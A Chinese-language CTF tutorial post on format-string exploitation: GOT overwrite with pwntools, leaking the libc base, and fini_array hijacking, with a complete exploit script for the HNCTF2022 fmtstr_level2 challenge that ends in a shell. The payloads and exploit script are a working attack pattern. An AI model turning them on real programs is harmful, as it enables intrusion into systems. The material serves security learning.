格式化字符串任意写&泄露基址

文章发布时间:

最后更新时间:

文章总字数:
1.5k

预计阅读时间:
6 分钟

本篇主要讲述两个知识点: 格式化字符串任意写和泄露基址

我们在最初的格式化字符串漏洞学习中 已经掌握了查看偏移和篡改地址的数据的能力

但是如果是篡改puts函数的got表呢?

我们知道 动态链接的情况下 当我们调用一个函数时

他会寻址其got表内存储的真实地址(即对应函数在libc文件中的地址) 从而成功调用

如果我们将其got表内存储的真实地址修改为其他函数的真实地址

那么当程序调用原函数时 就相当于调用了篡改后的函数

1
payload = fmtstr_payload(offset, {puts_got:system_addr })

以上述payload为例 假设我们需要修改puts函数的got表 使其为system函数的地址

那么我们就可以这样构造payload(这里注意一下,fmtstr这个工具是会自己补齐字长的 这将影响到我们下文中一道例题 现在留个意就行了)

ps:并且这个工具默认生成的是32位情况下 如果需要切换到64位 需要自己手动添加

1
context.arch = "amd64"

但是一般题目除非出题人好心 不然真实地址还是得我们自己泄露的吧

那如何一并利用格式化字符串泄露函数的真实地址呢?

还记不记得 格式化字符串最开始的漏洞利用 就是泄露栈上的内容 如果我们将got表写入栈上 那是不是也可以通过格式化字符串漏洞将其泄露出来?

1
payload = b"%n$s".ljust(16,b"\x00")+p64(puts_got)

这里有几点要注意一下 一个是n 注意是地址所在的偏移

还有一点是格式化字符这里选择的是s

最后一个疑惑在于为什么要用\x00补齐16个字节 这个我也不懂 死记就完事了(你也可以试试不补齐 然后看会泄露个啥出来)

好了 接下来用一题例题来演示一下 方便理解(例题还涉及到了fini劫持的知识点 不懂的话建议先去看另外一篇)

HNCTF2022-[WEEK2]fmtstr_level2

附件有给libc文件 猜测要用到泄露基址

checksec看一下进制和保护

1

有canary 要么泄露绕过 要么就不能栈溢出了

再看一下程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[296]; // [rsp+0h] [rbp-130h] BYREF
unsigned __int64 v5; // [rsp+128h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("Welcome to the game of formatting strings");
puts("Be careful, you only get one shot at this game");
puts("First please tell me your game ID");
read(0, buf, 0x100uLL);
printf(buf);
puts("Okk,try to hack it;sh");
return 0;
}

唯一看起来有价值的就只有main函数了 没有任何的后门函数 甚至buf的字节也不够栈溢出

但是注意看 最后的puts输出的字符串有sh

那么可以猜测出题目的解法是修改got表

结果我们只有一次格式化字符串任意写的机会 好像并不能满足泄露地址后再修改got表的需求

但是如果我们将fini_array的值改为main函数 那么程序结束后 就会重新返回到main函数 那么我们就有了第二次利用格式化字符串的机会

于是解题思路可以分为两步

1.修改fini_array和泄露函数真实地址

2.将puts_got修改为system函数

那么接下来开始编写exp

gdb查看了偏移以后 发现我们输入的第一个字长的数据位于偏移6的地方

第一个payload的难点在于搞清楚两个格式化字符串的偏移和payload的结构

1
2
payload = fmtstr_payload(6, {fini_addr:main_addr})
payload += b"%17$s".ljust(16,b"\x00")+p64(puts_got) //6+8(第一行payload字节数64)+2+1

按照我们上文所说的是不是应该这么构造payload 但是你会发现最后泄露出来的地址是

2

aaaaba+fini_array的地址(0x4031f0)

前面的aaaaba是什么东西?

我们打印出fmtstr构造的数据看看

3

可以看到aaaaba出自这里 这里就是我们上文所说到的fmtstr的自动补齐一个字长

而后面的\x00也是为了传送地址(但是地址只有三字节 所以需要5个\x00才补齐一个字长)

那么说回我们刚才的错误 其原因在于我们需要将格式化字符串放在一起 地址放在一起

才能两次利用一个漏洞点

所以 正确的payload应该把aaaaba替换成泄露地址的格式化字符串

1
2
payload = b"%182c%11$lln%91c%12$hhn%47c%13$hhn%14$sa\xf01@\x00\x00\x00\x00\x00\xf11@\x00\x00\x00\x00\x00\xf21@\x00\x00\x00\x00\x00"
payload += p64(puts_got)

但是这里我们会发现 recv接收到的数据太多了 像ret2libc中的接收办法显然是会出错的

1
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))

这里用到[-6:] 只接收后六个字节

那么我们此时成功进行了fini劫持 我们再输入io.recv()就会发现又接收到了main函数开始时puts的那些字符串

第二次的payload就简单至极了 最后放下完整的exp吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
context.arch = "amd64"
context.log_level = "debug"
io = remote("1.14.71.254",28466)
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
io.recvuntil("First please tell me your game ID")
fini_addr = 0x4031F0
main_addr = 0x4011b6
ret_addr = 0x40101a
puts_got = elf.got['puts']
payload = b"%182c%11$lln%91c%12$hhn%47c%13$hhn%14$sa\xf01@\x00\x00\x00\x00\x00\xf11@\x00\x00\x00\x00\x00\xf21@\x00\x00\x00\x00\x00"
payload += p64(puts_got)
io.sendline(payload)
io.recv()
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
libc_addr = puts_addr - libc.sym['puts']
hex(libc_addr)
system_addr = libc_addr + libc.sym['system']
io.recv()
io.recvuntil("First please tell me your game ID")
payload = fmtstr_payload(6,{puts_got:system_addr})
io.sendline(payload)
io.interactive()